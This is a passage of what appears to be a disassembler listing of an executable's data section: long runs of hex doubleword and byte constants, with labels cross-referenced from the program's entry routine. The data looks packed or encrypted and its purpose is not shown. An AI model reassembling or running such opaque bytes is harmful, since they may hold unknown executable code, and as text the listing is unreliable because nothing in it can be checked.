		dd 2FDA00ECh, 0D2306E1Ah, 0CD86F92Fh, 0C3ACD5AAh, 0DAD6C85Ah
		dd 45614CF2h, 468511A0h, 3B9D66F7h, 1FAE7645h, 60640F4Ah
		dd 7AAEC2B4h, 6544007Fh, 886F49FBh, 0D6D5671Eh,	0E5004C76h
		dd 79651F31h, 61378000h, 87022ED5h, 8D965DC8h, 453C1386h
		dd 61236592h, 1600446h,	255368D8h, 0CF75426Ch, 0A900F8D4h
		dd 721C4902h, 735B2DEBh, 7043AD6Ch, 694C430Ah, 0C9BD53C2h
		dd 3D217386h, 0C288765Fh, 0D5284B08h, 0BBF19F79h, 1C68F436h
		dd 7D18FF50h, 2EDB4500h, 4508F653h, 5C646969h, 0B76A9F68h
		dd 2767428Dh, 7942146Ch, 0CE6ECA26h, 284F55D1h,	787A6927h
		dd 63090330h, 0F459B55h, 0DFE96AB0h, 454B00F8h,	0C74C3C52h
		dd 70A95D0Bh, 635D02D8h, 7B716682h, 258CC218h, 71D6FC80h
		dd 1789E9C3h, 72676506h
		dd 0ED2564D0h, 7C3B36h,	0CAF00E3h, 5A53553Fh, 61E176B6h
		dd 0F9001C57h, 0B3EE756Ah, 9DB06Bh, 73B7149Ch, 36C3017Dh
		dd 126FADC9h, 96567075h, 621EA775h, 1A86901h, 528B343Dh
		dd 0D48E16F0h, 654BC620h, 440DF8A9h, 34CC4336h,	0CC1F9A30h
		dd 3BDFD6D8h, 411220ECh, 496F5644h, 79424B83h, 6F432561h
		dd 6C112755h, 0F666785h, 54754730h, 6B0D390Fh, 1F49D603h
		dd 0AE3C916Fh, 845160h,	0DFD6FFCEh, 5C333F50h, 6C336033h
		dd 337C3A33h, 338C3380h, 6FFFF90h, 33AF33FFh, 33C433B9h
		dd 9341BEBh, 31342234h,	5A345334h, 84347934h, 0FFFFFF34h
		dd 0BB34A8FFh, 0F634CC34h, 2B350634h, 3B353135h, 5D354E35h
		dd 88357D35h, 93358E35h, 0A7359D35h, 0FFFFFF35h, 0D335B4FFh
		dd 0F535EA35h, 35361035h, 48364036h, 61365B36h,	77366636h
		dd 97369036h, 0B236AB36h, 0FFFFFF36h, 0D136C2FFh, 436E636h
		dd 23371837h, 39372A37h, 68375337h, 0C2376F37h,	0F937F237h
		dd 0B7386937h, 0FFFF5638h, 0DE38CCFFh, 0FF38EB38h, 50392938h
		dd 80395C39h, 9A399439h, 0B839A539h, 0FFFFA539h, 39C5FFFFh
		dd 39D239CBh, 39E039D8h, 39F839E5h, 3A483A0Dh, 3A843A4Fh
		dd 3AA53A92h, 3AED3AE4h, 6FFFFF3Fh, 3C123BF1h, 383C0E27h
		dd 5E3C3F3Ch, 0B13CA33Ch, 0F23CBE3Ch, 0C73D043Ch, 0FFFFFF3Dh
		dd 0F53DE5FFh, 183E133Dh, 3A3E343Eh, 7F3E793Eh,	0E93E983Eh
		dd 573F503Eh, 6B3F643Fh, 863F7B3Fh, 0C34A3F3Fh,	0CB3F98FFh
		dd 0EC3FD13Fh, 0F3FF13Fh, 302A7320h, 0FFFFFFFEh, 31B531B0h
		dd 3320330Ah, 3337332Ah, 33B533B0h, 35663553h, 362C3615h
		dd 364A3633h, 0FFDC3657h, 0C3EFFFFFh, 375836ECh, 37C837B4h
		dd 37FA37F4h, 38403836h, 38593847h, 38993887h, 38A638A0h
		dd 0FFFBBFFFh, 38B238ACh, 38BE38B8h, 38D238C4h,	3922D1D8h
		dd 392E3928h, 3951393Dh, 39843968h, 0E3584004h,	0F0AC3990h
		dd 12819200h, 0F7D0FF8Ah, 75ABFF65h, 3149D00Fh,	31ABE6Eh
		dd 7151ABFh, 7CDF37DDh,	1AAD4D68h, 0B44D3736h, 68F63F1Ah
		dd 27301AB8h, 14644F52h, 686369E7h, 0F7000507h,	0E4B9B535h
		dd 140727Ch, 79F3140h, 9ABE02EBh, 31A09713h, 0C80B0D2Ch
		dd 0F601E9D8h, 19270403h, 0A0F27BC5h, 25FECA3Bh, 8A31DB07h
		dd 3A307C53h, 689F3460h, 92BDCEC2h, 2338E004h, 0A703304Fh
		dd 0C840BC28h, 76A9831Ch, 7A32A76h, 602B2954h, 8C2DA207h
		dd 3B920762h, 525E642Bh, 0E7617461h, 530780FBh,	7314643h
		dd 65B2D8C8h, 0AF5458DDh, 72C2307h, 0A8DB34Fh, 9F2EE21Dh
		dd 23EB00D1h, 0F37D98A3h, 3B570780h, 7F1460E1h,	0C00302B2h
		dd 4651ED07h, 32E27F31h, 36CEEB03h, 18330ACBh, 0C01332F6h
		dd 0A603AA0Bh, 94A69A69h, 384A60DEh, 9AEBB2C8h,	267F10FAh
		dd 44337A8Bh, 375D34D3h, 3B23BC6h, 656A7E96h, 5E4D34D3h
		dd 0FE162E3Eh, 69A69A31h, 0B8D0E69Ah, 0E3748CA6h, 5C6D9630h
		dd 25B9331h, 414DF27h, 51264AA4h, 0FFC98353h, 54BF722Eh
		dd 5051C1F9h, 5F2020BBh, 821FEAB7h, 2856C5FCh, 0C5FC7D8Bh
		dd 97D488B9h, 332E7782h, 5DABF3C0h, 328358Bh, 6E89B73Dh
		dd 45E488A0h, 1405E888h, 0EE936C8Ch, 1DE40E08h,	21C8D8D4h
		dd 0D4D88723h, 763278DCh, 0EE0E0C8h, 0E4EC05DCh, 0E123EF92h
		dd 0F4FC0AD6h, 9EC1B9FFh, 133CC083h, 4EA6AC04h,	39F633FCh
		dd 0F772B782h, 4875F875h, 5FC6814h, 646A3822h, 3DF7CCD6h
		dd 1B22C4C8h, 0EF181322h, 34D9333Bh, 74141C16h,	3870FF14h
		dd 0BAFB500Fh, 0FC8B1682h, 14EA1009h, 0BE7C00A2h, 0F8D8E0CCh
		dd 192EE14Bh, 5F7DCC86h, 8EB70F10h, 763F01CAh, 2A2170ACh
		dd 0F1BE8D28h, 74C73B07h, 0EEF6C812h, 4508BFFh,	8950088Bh
		dd 451890Ah, 0EB5E441Bh, 0B7D41DE8h, 3F723D8Fh,	1FC4588Dh
		dd 2C603D83h, 41750419h, 0CF15B6Fh, 0BA3C4E8Dh,	46880B02h
		dd 0FD8CD40h, 0D24CA1DBh, 568AC91Ah, 0EBA01D40h, 0B64023D9h
		dd 0FFDC4ABBh, 10E1EE76h, 3407B67Eh, 47868D2Eh,	0B10C354Fh
		dd 114528Fh, 0FF03DC56h, 87A9141Ah, 8B2ED10Eh, 1FFF85F8h
		dd 73F355B4h, 678308A9h, 47C70018h, 0DE1011Ch, 6007375h
		dd 460D0624h, 0B28E8D0Eh, 0FBC74F8Fh, 8A204789h, 86889E25h
		dd 0F6B7F776h, 438B1A67h, 1F1F8904h, 7B893804h,	18968A04h
		dd 0B367DB36h, 7505AC97h, 40D015h, 5EEC8E76h, 0FF4D4758h
		dd 0EB0BC4B6h, 36587607h, 0A5361B1Ch, 3D078550h, 2F34E180h
		dd 51CD9B3Ch, 4F8B6369h, 1890719h, 0DEC966C6h, 735A4889h
		dd 645EC260h, 0C7C06E7Bh, 0B6C4B2ABh, 3399B008h, 0BD02CDDDh
		dd 9D835AD0h, 8BB8B657h, 0B84DF21Dh, 80112B0Ah,	6FB2AC3h
		dd 0C01B2B59h, 0BB9D31Eh, 8D30D0DFh, 83CC8E5Dh,	0D308247Ch
		dd 2DFEE10Fh, 470C9901h, 8A3008Bh, 0C058A06Bh, 0C9C2B1B6h
		dd 0DD796CCh, 9A4B6017h, 79BBBFB8h, 7FE00EDBh, 80605E8Bh
		dd 44750E3Bh, 8BF84B8Bh, 6D4DC253h, 0F0B7F017h,	0FF330C0Bh
		dd 0D9E0F981h, 0C410F445h, 0F8ED9BD2h, 0E40D4174h, 5D8D3974h
		dd 75FB52FBh, 509A4DBBh, 3E507751h, 0BF510964h,	97E04B0Dh
		dd 322FD2EAh, 187E89D2h, 301C4689h, 0C225768Bh,	44C78BC4h
		dd 16F0D9F0h, 30FF51CDh, 74544C60h, 2D23EDCAh, 85F06B9Fh
		dd 0CDB58F6h, 0DB6446C6h, 0DDFBBF63h, 3B896846h, 850F044Bh
		dd 0F983153Ch, 33820F0Dh, 0DB37F41Eh, 55D81A37h, 0CA3B0CC2h
		dd 7D812210h, 0C1EA16F8h, 9759F7Fh, 0C61846C7h,	23F66673h
		dd 8BE3D85Ch, 719F8D1Ah, 488D1C4Eh, 0E106050Ch,	8B20F6DBh
		dd 55CBD740h, 0EC5D8924h, 0B16F874Ah, 928F46BFh, 2BE4878Dh
		dd 318906F4h, 0C2C8C678h, 97567089h, 5D8B13CBh,	585B4200h
		dd 481D430Fh, 0CD2CBAC6h, 0B746CD20h, 68577746h, 10F9D52Bh
		dd 0C1DBF7B9h, 170B6185h, 1DF43135h, 0B2AAC0Ch,	0B5748A0Dh
		dd 286E3BE4h, 0DB80B5A1h, 459C4189h, 444449F0h,	0E0866170h
		dd 4EA6E689h, 0B2727670h, 0EC9706F1h, 9F2C569Bh, 0C5F58860h
		dd 7389CB73h, 62CDEE43h, 2278C687h, 8612657h, 169F08BEh
		dd 6205C5DFh, 1424BDDBh, 8BC81CBBh, 0CC3EDE77h,	7DCD9399h
		dd 0C390CF1h, 0D3B81002h, 1CEBB3E1h, 0BE80575h,	0EB30A303h
		dd 0CF6CE04Ah, 0DD56D866h, 0C9410D12h, 204356CCh, 3C6BAF49h
		dd 522516h, 52035D41h, 2F9A490Dh, 5F1B0073h, 5B4E5700h
		dd 240524C1h, 0DC08D110h, 50701BA2h, 305E8D7Ah,	4566538Ah
		dd 0FC45BBA1h, 0FA05000Ah, 0B5D9F33Bh, 972B90Bh, 0CF0121Ch
		dd 0E6CD0EF2h, 7EF464F3h, 1AEA18E8h, 0C6FF8EECh, 0D7F88B5Eh
		dd 2175C084h, 140C45ABh, 59270F82h, 33207E8h, 236C2335h
		dd 564C363Bh, 0EA48418Ah, 5B9103F6h, 2C211BBh, 0C063F0Bh
		dd 0C8F3E488h, 0E1A10E7h, 0C018D814h, 0F9E41C0Bh, 2079F9F9h
		dd 7C24103Eh, 0CC82813h, 1C0D9A2Ch, 766385AEh, 3A5D0284h
		dd 0A6685CCh, 144ADDFDh, 0ADEED62Ch, 8B1E641Bh,	0A17C2003h
		dd 7890E68h, 0F9F4FE42h, 780804D8h, 0EB3D8904h,	3E42C606h
		dd 0A75B01B0h, 7F2E9142h, 832F00C7h, 9C6B5D8Eh,	344B1806h
		dd 0D9422259h, 2C0B6BDEh, 1863031Ch, 9BB4389Fh,	0DE02EB3Ah
		dd 0BE56B58Fh, 878CF709h, 4CCEDF58h, 0B60C5CA2h, 93319BDBh
		dd 4B584EB8h, 610C7D83h, 0C190FF21h, 3E7883D2h,	0CE2E9D75h
		dd 40C71EEBh, 0B1157E18h, 155603A7h, 0D22F3520h, 2A5E78E0h
		dd 2184059h, 0F7CC7810h
		dd 50AB527Eh, 60158A18h, 2EB2A06Dh, 854A22F6h, 58735672h
		dd 0EB53C68Ch, 36B2A274h, 0C631ECEBh, 0DE56DD1Ch, 6285E75h
		dd 37DEC86Ch, 28340CAAh, 0C36B7258h, 0F85DE223h, 83E04E57h
		dd 68C0B511h, 0D2FC728Fh, 0FBC52E79h, 8FE4B7E9h, 5EB7B54h
		dd 8D72B860h, 0C556456h, 0BFDB7F74h, 0EB367F89h, 647E80F0h
		dd 684E3700h, 60518B53h, 5A6A418Bh, 0E91B5230h,	0AFFB810Ch
		dd 0DAE0708h, 0A285C0A9h, 375D8CFh, 0F4ADB22Ch,	105866A5h
		dd 428B18B8h, 0C8070B08h, 73483495h, 30FCA95Bh,	0EB1EEC18h
		dd 0D08A1029h, 4617DCDh, 2E0AB5Ch, 4CFEBBD4h, 190F0977h
		dd 3F5F2CF8h, 2C41E353h, 0D8FC480Fh, 0FCAEDB85h, 0F1D5DFFFh
		dd 81102955h, 10008FAh,	8D477540h, 7B8D0E71h, 0A566A524h
		dd 5B10288Bh, 300715ADh, 542B765Ch, 69F3DE90h, 19C46383h
		dd 1DAEDB30h, 201A0CEBh, 0EDC1F612h, 9660DD6h, 14076604h
		dd 0B2920A1h, 0ED9E95DDh, 94E36EBh, 0AB4DD618h,	2BDBAB66h
		dd 2A07F335h, 1F42F63Eh, 56CED80Bh, 0C271430h, 0DB1A93EDh
		dd 0A11947Ch, 0BC525114h, 0C3DDDC38h, 930CE0DBh, 8D3D10AFh
		dd 2961470h, 0D3330807h, 8D5967D9h, 2A1C87DEh, 55908B21h
		dd 216FB205h, 0D771057Bh, 22EB5850h, 0D03FDB20h, 921B0F06h
		dd 8330528Bh, 4C50F121h, 4CB87E16h, 3C503769h, 833C0451h
		dd 0F8522325h, 3A009980h, 0AF4F2318h, 0D33CECACh, 0CF0BF18Bh
		dd 5109F1Dh, 88F93BB9h,	0A5FCF096h, 32943B60h, 8D5280C7h
		dd 7D3BC478h, 7CA25F0Eh, 40970040h, 0FC3C478Bh,	8499E869h
		dd 6CD30870h, 5A1DA857h, 1CFEE703h, 41D88FE3h, 528AD772h
		dd 18EBD72Ah, 61708C31h, 3D200F24h, 0DF24770Ch,	0BE0C2F09h
		dd 48A73FF4h, 0BEEFE337h, 89CF4AF4h, 0DCB8F77Dh, 0B6FB5B3Ah
		dd 118F8B6h, 0F6FCE7B4h, 9AD7E141h, 0B674FBBBh,	0B376F3A6h
		dd 19481BEDh, 7F839A3Ah, 0D051E244h, 16633661h,	1644D3C1h
		dd 0D195B231h, 0D8BE552h, 0A2BA28F6h, 1E56D3E3h, 0AA6076A7h
		dd 74E02254h, 7FFF61A3h, 6253A9F9h, 0C14D8B3Ah,	0D285118Bh
		dd 0C28B0674h, 0F6EB108Bh, 16C6E083h, 0B4F47BAEh, 0EB0AA853h
		dd 58EE2F8Eh, 0CA64B2Dh, 801A2083h, 29747682h, 14A0CF13h
		dd 5EA8451h, 5638C390h,	3F964D42h, 6BEFEF14h, 99FF0BF7h
		dd 6BAD086h, 5060460Ah,	7BC637Ch, 39868CBBh, 0B3D3BAA8h
		dd 10E334F4h, 2464670Ch, 0A7923CA2h, 0F0772321h, 0F86C0313h
		dd 5C7BDC5Bh, 3FF0D6Ah,	8B19755Ah, 112C4BA5h, 0A750A17Ch
		dd 722D7744h, 0FB5BE519h, 30667B6h, 1CEB2A4Bh, 0A731859h
		dd 76CF488Bh, 77CEF823h, 4F057314h, 401D13EBh, 1AD02D08h
		dd 232C66B4h, 0DC1BA9EBh, 2C0BD5EAh, 3602148Bh,	39C1F67Bh
		dd 0C16BBA67h, 1084108Fh, 0D85F13DCh, 8B336DCh,	762018A5h
		dd 207D027Fh, 5F2D2DF8h, 65831404h, 0FE6234F4h,	0BF0D76FFh
		dd 688940DBh, 0D950184Dh, 7D39C33Dh, 6097731Ch,	0C7EB1BE8h
		dd 0B11C452Bh, 3AB04BA2h, 404321FDh, 7C3873FFh,	9EC567DFh
		dd 8A2446ECh, 99274053h, 0D7F80F8h, 528B800Ah, 0F4752BBAh
		dd 7815B2C9h, 3BC24C4Fh, 580EC34h, 26403636h, 0D81D6634h
		dd 5E247565h, 68EB5EB3h, 0A16B41BAh, 0C9856846h, 55C0C137h
		dd 4FEE51D8h, 49F17983h, 6152E1A9h, 8492574h, 59B28954h
		dd 0E7C5CB63h, 0B7814E2h, 0F80FDA85h, 1C608014h, 364C781Ah
		dd 0A5F62155h, 0A5F302E0h, 0F303E182h, 0D2701DA4h, 442F600h
		dd 1A107C8Dh, 7DB073Dh,	18B334FCh, 4D486083h, 694408CEh
		dd 2517631Bh, 55CF8388h, 0B9258B10h, 8DF01FBBh,	3C4A7383h
		dd 40428911h, 133ED405h, 0B3C691Bh, 2D08C1A0h, 0AFB63087h
		dd 24CE2E93h, 0AEF477F4h, 0C0999A23h, 448D83C1h, 85E4C08h
		dd 291F4306h, 36707526h, 0F2D920D8h, 0ECE8EFE8h, 6C3E3874h
		dd 514848E9h, 0DF1CA27Eh, 73F46EE6h, 2E54535Ch,	482C4434h
		dd 0A95588DBh, 0BF208E44h, 156D2770h, 0D0B3F73Bh, 3C39710Ch
		dd 5BA4743Ah, 0DFA6CC37h, 49D34160h, 46B2C340h,	8BC4D83Ah
		dd 0AAD60235h, 0C34200C8h, 8BAD79Eh, 34068CD3h,	376B29D6h
		dd 2C643F4Ah, 0EB30F09Ch, 1C16B805h, 2CD02320h,	84091CE1h
		dd 8308716Ch, 94041534h, 0CCF2388h, 0CA57269Ch,	2342CF6h
		dd 0C315709h, 0C1C1533Fh, 1B75E95Ah, 35DB14EBh,	0D98BC0ECh
		dd 2075BEACh, 0A572DA2Bh, 83571393h, 0F8FBA4D8h, 1054DA12h
		dd 2B74522Ch, 0D9F16102h, 0B02DCDB4h, 6CB23C75h, 3C6DB659h
		dd 282C0230h, 0B06EED24h, 10748587h, 2D2CE62Ch,	5AADC62h
		dd 0D083511Ah, 9D6F823Ah, 28BFFD09h, 4FB70FACh,	9AF52802h
		dd 0D728FA46h, 63610E3Dh, 0F65BC64Bh, 399D21BBh, 95AA028h
		dd 80E15B7h, 63118134h,	1DE5D6E6h, 830A021Fh, 9EEBB5CAh
		dd 168AB58Bh, 20155960h, 0CC4388E6h, 3BE0011Ch,	0C06F6D80h
		dd 890B7189h, 0C9180459h, 61D81378h, 0C857CA4Fh, 48701B22h
		dd 72078B15h, 0D8C45C13h, 0B04B9436h, 6CB22F03h, 0A72D1BDBh
		dd 56A1842h, 0C47E5A20h, 883BEDADh, 81048B34h, 5C7EC23Bh
		dd 8DF423B3h, 368EE57h,	0BE530B74h, 0E75681E9h,	0E4403C1Bh
		dd 8FFD1539h, 0F8503E8h, 22378B25h, 0A13D6A8Eh,	0A2586177h
		dd 1A00059h, 0A8D4B38Bh, 0EF8DDDECh, 0DC89058Bh, 43240FEBh
		dd 211C6A60h, 0B01B7ED0h, 3990BEDAh, 66CEBF31h,	8A156A37h
		dd 0EC631675h, 0F0333BB9h, 0EC6E231Dh, 738B7136h, 6418354Dh
		dd 574D7709h, 5968DE7Bh, 300558B6h, 30B4544Ch, 2E461B18h
		dd 0C18D6CBh, 0AE545C48h, 79EC1950h, 125C3459h,	1DB7541Ah
		dd 0DBBAFFEh, 9D8C90E8h, 53890405h, 4800C744h, 7D2BA31Ch
		dd 3B01291Ah, 293BEC6h,	18EA44DBh, 7B43C770h, 631E5306h
		dd 0BA2210B7h, 0C03EA48Eh, 63B96F5h
dword_4439A4	dd 34214CC6h		; DATA XREF: start:loc_449055o
		db 0Ch,	84h, 12h
byte_4439AB	db 0E5h			; DATA XREF: sub_449577+3o
		dd 6130B9A0h, 48845D14h, 0D721BB35h, 0E2A3526h,	0C90729E8h
		dd 0B259F758h, 570A78A6h, 8468916Bh, 1875B58Ah,	6E0F7Bh
		db 0DEh
dword_4439D5	dd 6FD40A29h		; DATA XREF: start+5Br
		db 1Ah,	6Ah, 1Bh
		dd 59107A8Dh
		db 7
dword_4439E1	dd 58E02C9Fh		; DATA XREF: start+97w
dword_4439E5	dd 0F3E14D18h		; DATA XREF: start+ABw
		db 0BFh, 6, 7Ch
		dd 9C92E1Dh, 984E1051h,	3700A050h, 43B7991Ah, 6B863232h
		dd 0CFC4632h, 0A64D4DCEh, 0A360398Ch, 0AB4665Bh, 0D6DB632h
		dd 0AA640AD7h, 7A084A31h, 0D8FB7759h, 664AD1DEh, 14AAE0CAh
		dd 8571324Bh, 118142C0h, 939C0C68h, 47AB5FA8h, 8F0C605Ch
		dd 428E14B9h, 84F2D3CBh, 19315300h, 800E843Bh, 8A605CBBh
		dd 6ECCEC27h, 66E290A4h, 4E5C8D80h, 4145670Ah, 8897C46Eh
		dd 0C88FA00h, 81912530h, 1D1038ECh, 25CC2BC4h
		db 57h,	12h
dword_443A76	dd 0CD6807BFh		; DATA XREF: start:loc_4494DBr
		dw 0B9AEh
		dd 0BAFF3304h, 80D9E6C3h, 0DCDAD896h, 6C9EFC04h, 0C8123B3Eh
		dd 0CC0ECA0Ch, 0B18D010h, 0D27CD991h, 0F820D41Ah, 0D0289466h
		dd 13E0036Dh, 0FD22CE2h, 1740D5D4h, 3056A253h, 656DA008h
		dd 8D57C228h, 5B61995Dh, 1ED6A736h, 0C81C80Ah, 0CB21B758h
		dd 0C83BD011h, 8B7D0500h, 3B180F6Ch, 3DB611D8h,	2284788Ch
		dd 1F6F3FEEh, 0B809ECBAh, 8DF82004h, 0E7C17F0Ch, 0C42DB419h
		dd 21C448EEh, 0DC0744D5h, 0ACE877F4h, 773A56EFh, 818953BFh
		dd 0DC608D45h, 0B541D106h, 8C00F6E0h, 17A096DEh, 8BE04D5Bh
		dd 0C1287D31h, 99A04581h, 0B9A2AFACh, 0DFFF4BBh, 0FF50BAB6h
		dd 73738DC2h, 2E8932B8h, 0DF006A9Ah, 0B5F87A8Dh, 6675B6E5h
		dd 8830DF8h, 2EC0304h, 0D68E96FBh, 279D06F4h, 1BE90114h
		dd 6E6DF0B4h, 7B85B217h, 14F05E37h, 19B94600h, 150CFF1Eh
		dd 0A00CFEEEh
		db 93h,	0A0h
dword_443B72	dd 3889CABBh		; DATA XREF: start+B1r
		dw 0E35Fh
		dd 1C31C651h, 0E2797BD4h, 8B8C6C6Ah, 0F4D7371h,	591B0FE0h
		dd 39A32CD3h, 21C363A2h, 1A1EFBC3h, 5AD1130Ch, 0D71282Bh
		dd 41828C14h, 83642673h, 750EBA43h, 0A80EE017h,	35978308h
		dd 0D5B9C38h, 0F893904Ch, 481A9BD2h, 147B8128h,	75FCC401h
		dd 34ACB807h, 0EB2AA6D8h, 0B9574637h, 5278A445h, 0C053093Ch
		dd 1BD5304h, 8740735Ah,	4CD9682Fh, 0FDC468F1h, 6A5F9BBDh
		dd 8BBF3B1Dh, 0A354BE4Ch, 14798193h, 0A17F06h, 8D6D01AEh
		dd 0DC388120h, 0D0057605h, 1B1B6854h, 5E2C0600h, 9DDD3C72h
		dd 5D142FA3h, 28302966h, 584A1911h, 6EA9C9Bh, 11BA5821h
		dd 71516406h, 0E0EE818h, 7F674970h, 7F080211h, 0E085589Bh
		dd 7427057Eh, 211D284Ah, 4D10B952h, 49C87A8Dh, 0C76687Dh
		dd 8414468Ch, 7EA43957h, 5F182BABh, 8B104689h, 0C0E07C1Eh
		dd 8156150Fh, 551DFAC3h, 0FF87B95Eh, 83560721h,	0ECEB60C3h
		dd 0ED519AB8h, 4B181995h, 825373D6h, 0CCD57E74h, 0E43457DAh
		dd 0B89A577h, 76320E83h, 8D47AA43h, 0FF477F47h,	0BEC9036h
		dd 40F180CCh, 81478918h, 97078783h, 9E7C579Eh, 2DBD6057h
		dd 8750AC5Ah, 7D68B43Eh, 0A3909805h, 663C6B3Ch,	0F06E81E0h
		dd 0FF04C683h, 49937579h, 18BE450Ch, 58102D32h,	0D8901EF6h
		dd 0BE9C712Ch, 0D8B4650h, 0BFEED048h, 147D0DFFh, 9B8D08Ah
		dd 1588C83Bh, 55740754h, 1A2DFF06h, 0C459EF3Eh,	0DF3B098Bh
		dd 1314F375h, 0D61B944Dh, 6F9B5379h, 8C359E97h,	754C56F9h
		dd 44F01E47h, 4B541038h, 4503E158h, 0DE1A5718h,	0CA06C3C4h
		dd 125FDD7h, 0F7502534h, 1CEB9710h, 102E1816h, 8733D58Ch
		dd 0D1264492h, 553AB618h, 40081483h, 5A142F8h, 0B1CAA92Fh
		dd 70BFD0EAh, 75899CABh, 8DF2507Ch, 55890E4Eh, 1B7558EEh
		dd 3D35E6EDh, 5B80A5Ah,	83B08295h, 8C49BA80h, 7B99C51h
		dd 558101C1h, 597860Fh,	483A09Bh, 8EEA4E8Fh, 0C0E52A74h
		dd 350F607Eh, 1F1A7480h, 162ACA06h, 53270AA3h, 0F7C02A89h
		dd 0C9282654h, 7461E177h, 0F4469E4Ah, 649D1274h, 388C58A9h
		dd 0E0F45847h, 0F40064B7h, 430C4F30h, 8DCA5598h, 7827D027h
		dd 3DD7BA1Fh, 4CA1BCA2h, 2A7A0310h, 45C7A942h, 0A84081E0h
		dd 14B0DD08h, 76E58A54h, 72D6DF8Eh, 0FF2DA337h,	6A1FB9D3h
		dd 47B42E0Eh, 0A238F34h, 0C51E41D6h, 21ADA256h,	10873159h
		dd 0B7805736h, 4BD1C6Eh, 4450150Fh, 7F3AD737h, 0FA0C0951h
		dd 0A266D0B0h, 53048A99h, 0BE87D54Ch, 0C25A9037h, 0FFD3A46Fh
		dd 0D10C7B2h, 0EB343AC1h, 5152521Fh, 6A78C1D9h,	0D951387Dh
		dd 0C9083056h, 53BF030Eh, 1FA53456h, 0E00225h, 27E78CB0h
		dd 3AA1D41Ch, 6DBF80E5h, 31EA3C2Dh, 68870F0Bh, 0C60F3DCh
		dd 0D9477188h, 10395F04h, 1A4D985Ah, 0FCD008AEh, 86D78123h
		dd 11FC590Ch, 9C8726F0h, 0F8E4420Ch, 2B3BFCFCh,	5D3A2D81h
		dd 0E155D28Fh, 0C00C61Eh
		db 4Bh
dword_443EA1	dd 0CC9D82Ch		; DATA XREF: start+4EAw
		db 0C8h, 81h, 0Ch
		dd 93DD0808h, 1463E591h, 8F8080Fh, 0F25388E4h, 0F84E8BF8h
		dd 6803B38Dh, 0DB93E21Dh, 83880855h, 5E599BA6h,	0D42A0F9Ah
		dd 4A890842h, 1C019E08h, 147111AFh, 19B82B65h, 45E9926Fh
		dd 0D5C70C7Fh, 0C803D620h, 0D2C2454Ch, 0F3E010F2h, 0C7E38BAh
		dd 3941E77h, 31089F21h,	2162CB11h, 0D48A1721h, 7EBE2156h
		dd 7C503909h, 0D8F3C934h, 0DA2D73C2h, 0C0177F04h, 9C481EBEh
		dd 74CEE144h, 7091D90Dh, 0E36F897Bh, 0B89374C2h, 0C203B67h
		dd 0F350874h, 0ECAB7736h, 58D8EB8Fh, 219F0A96h,	1F07B299h
		dd 41124143h, 5C25810Eh, 6D93FE0Fh, 775981F4h, 58604303h
		dd 90C197D7h, 76CCC334h, 0D9B0AF44h, 0AF6D3B21h, 1AA3EC98h
		dd 5C009A40h, 3DEC7509h, 4E158468h, 90EDB75Dh, 264A161Ch
		dd 362E3B0Ah, 8B19A69h,	0CDEF29Bh, 0C90C6DF3h, 1B0D2901h
		dd 3491A758h, 0DBEFDB93h, 0C298473Dh, 0F586E944h, 0E44308Dh
		dd 2D1669CFh, 0E30C992Ah, 0C0755314h, 773B8DDh,	7E806014h
		dd 1A4E7572h, 56E82ED2h, 0D2333987h, 79307495h,	0C4B1CA0Ch
		dd 0B94DC048h, 0B7F76F4Dh, 588B167Ah, 811058ECh, 4C0FFFE3h
		dd 8060B8Ch, 9B1B6F75h,	0D1037E0Ch, 1ED24A47h, 0E82DF56Bh
		dd 89B9147Eh, 9246C616h, 78FDB85Ah, 1454053Bh, 0C8DE03EBh
		dd 19764948h, 5A75235Ch, 10580192h, 0B76B2A3Ah,	0FC8C366Fh
		dd 83EA754Fh, 66807966h, 24B61986h, 0C2521B50h,	0B6183C17h
		dd 0BA0217C4h, 105D3956h, 2BCB1871h, 34C17D9Fh,	8CE083Eh
		dd 0DF45718Bh, 615D759Ch, 0D214D375h, 59385814h, 5B50751Ch
		dd 41C16DBBh, 0CEF85D1Dh, 6FDF0804h, 0F3CE6A97h, 1481450h
		dd 0D33BF855h, 476B5AD2h, 18EBC84Eh, 0CEA1394h,	0A5A6D423h
		dd 0FFFAB6EFh, 0D3CAEBB3h, 8F142139h, 6F61FDFAh, 41C60405h
		dd 46F616D6h, 0CDC0506h, 8AE75BEBh, 8EF84A87h, 0C06056E4h
		dd 6C5AE6E5h, 0ADE114A8h, 0AF0089AAh, 6B77DDB2h, 3B368B2Dh
		dd 7C74A5F3h, 0EDCFEB3Ch, 3E754B77h, 72553D74h,	8B027714h
		dd 6E0629C2h, 2BDF0BB7h, 970413D0h, 744DA4EBh, 76101BA0h
		dd 0D686172Bh, 0F3DB04EFh, 0DB6B3DD2h, 0D9AD0368h, 0CB270CD4h
		dd 9AB41229h, 0C22A18ABh, 0BB48202Ch, 11586DAh,	4E863711h
		dd 0C243B54Bh, 8714CAAAh, 1F6F4665h, 6A57BDABh,	8B145906h
		dd 40B856FEh, 91B410E3h, 0CC2D0D29h, 0A3EECD6Ah, 14A06DC4h
		dd 2B61566h, 0E08812B3h, 50620241h, 533C50D7h, 0CEE029Ch
		dd 1EFE6FCCh, 66087E8Dh, 59C01FD0h, 0E8EB4654h,	8069568Ah
		dd 0CE0F7ADBh, 3114E52Eh, 0D6CCE7BDh, 0F454061Dh, 0D81E6820h
		dd 0B0CF642Dh, 101D619Dh, 0A91A6500h, 5A554036h, 54B4BDEEh
		dd 0FD6F462Dh, 2CB7FE34h, 0F98C8CA0h, 0ED6FF39Fh, 9AB854D6h
		dd 273FF9D1h, 0C03EDA75h, 5F82078Eh, 5393513Ch,	0E42D4B8h
		dd 5BAB3717h, 6ABABC57h, 49BE721Bh, 36DF87B2h, 0B6803F7h
		dd 1FC0F919h, 3C8C020Bh, 0D2C44647h, 888EC800h,	0CC8CFC18h
		dd 0ED02CB85h, 0F803C68Dh, 0C19C36B3h, 456C1A24h, 0BD63061Bh
		dd 9A3F1781h, 770127D1h, 42987E4Dh, 0B06F908Bh,	33FBBD40h
		dd 14C1830Ch, 0B6CDE9F7h, 8853A8F1h, 756E0F45h,	84473314h
		dd 74477DB3h, 170F4D8Ah, 0F62032A4h, 62257031h,	0D052B1AEh
		dd 80B806BEh, 9B3646Dh,	1F29A381h, 0FB1DB270h, 0E80C7982h
		dd 43D1CE49h, 524194BEh, 6A705B53h, 0E0A45574h,	7E08B1B9h
		dd 0BAF89E14h, 1CD06D5Bh, 1122C420h, 206023F6h,	0E0E82B76h
		dd 305D8C7h, 0EF178018h, 6CE51E89h, 76C0F02Fh, 0FB3B8E90h
		dd 0B7D1B771h, 0E39A0247h, 2B548F7Bh, 0FD5A9F8Bh, 880C97CCh
